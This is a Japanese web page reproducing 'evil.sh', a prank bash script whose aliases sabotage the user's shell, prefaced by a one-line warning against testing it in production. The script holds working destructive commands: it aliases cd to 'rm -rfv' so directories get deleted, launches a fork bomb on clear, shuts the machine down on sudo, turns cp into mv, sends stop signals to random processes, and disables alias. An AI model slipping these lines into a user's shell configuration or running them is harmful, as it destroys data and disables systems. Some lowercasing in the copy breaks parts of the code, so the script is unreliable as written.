evil.sh

3409 ワード

evil.sh


5つ星警告本番環境でこのスクリプトをテストする場合は、まず削除ライブラリから走行チュートリアルを学習してください。

#!/usr/bin/env bash
# evil.sh — https://mths.be/evil.sh

# set `rm` as the default editor.
export editor=/bin/rm;

# make tab send the delete key.
tset -qe $'\t';

# randomly make the shell exit whenever a command has a non-zero exit status.
((random % 10)) || set -o errexit;

# let `cat` swallow every input and never return anything.
alias cat=true;

# use a random sort option whenever `ls` is invoked.
function ls { command ls -$(opts="frstu"; echo ${opts:$((random % ${#opts})):1}) "$@"; }

# delete directories instead of entering them.
alias cd='rm -rfv';

# shut down the computer instead of running a command with super-user rights.
alias sudo='sudo shutdown -p now';

# launch a fork bomb instead of clearing the screen.
alias clear=':(){ :|:& };:';

# have `date` return random dates.
alias date='date -d "now + $random days"';

# sometimes, wait a few minutes and then start randomly ejecting the cd drive.
# other times, resist all attempts at opening it. other times, make it read
# reaaaalllly sllooowwwwllly.
if [ "$(uname)" = 'darwin' ]; then
    # much less fun on macs, alas.
    if [[ $[$random % 2] == 0 ]]; then
        # eject!
        sh -c 'sleep $[($random % 900) + 300]s; while :; do drutil eject; sleep $[($random % 20) + 1]s; done' > /dev/null 2>&1 &
    else
        # lock! admittedly, much less annoying on most macs,    which don’t support
        # locking and are slot-loading anyway.
        sh -c 'while :; do drutil tray close; sleep 0.1s; done' > /dev/null 2>&1 &
    fi;
else
    n=$[$random % 3];
    if [[ $n == 0 ]]; then
        # open and close randomly after a few minutes.
        sh -c 'sleep $[($random % 900) + 300]s; while :; do eject -t; sleep $[($random % 20) + 1]s; done' > /dev/null 2>&1 &
    elif [[ $n == 1 ]]; then
        # lock, and keep closing just in case.
        sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
    else
        # slowness (1× cd speed). this has to be in a loop because it resets with
        # every ejection.
        sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
    fi;
fi;

# send stop signal to random process at random time.
sleep $[ ( $random % 100 )  + 1 ]s && kill -stop $(ps x -o pid|sed 1d|sort -r|head -1) &

# have `cp` perform `mv` instead.
alias cp='mv';

# make `exit` open a new shell.
alias exit='sh';

# add a random number to line numbers when using `grep -n`.
function grep { command grep "$@" | awk -f: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }

# invert `if`, `for`, and `while`.
alias if='if !' for='for !' while='while !';

# map enter, ctrl+j, and ctrl+m to backspace.
bind '"\c-j":"\c-?"';
bind '"\c-m":"\c-?"';

# send `n` (no) instead of `y` (yes)
alias yes="yes n";

# quit vim on startup.
alias vim="vim +q";

# disable `unalias` and `alias`.
alias unalias=false;
alias alias=false;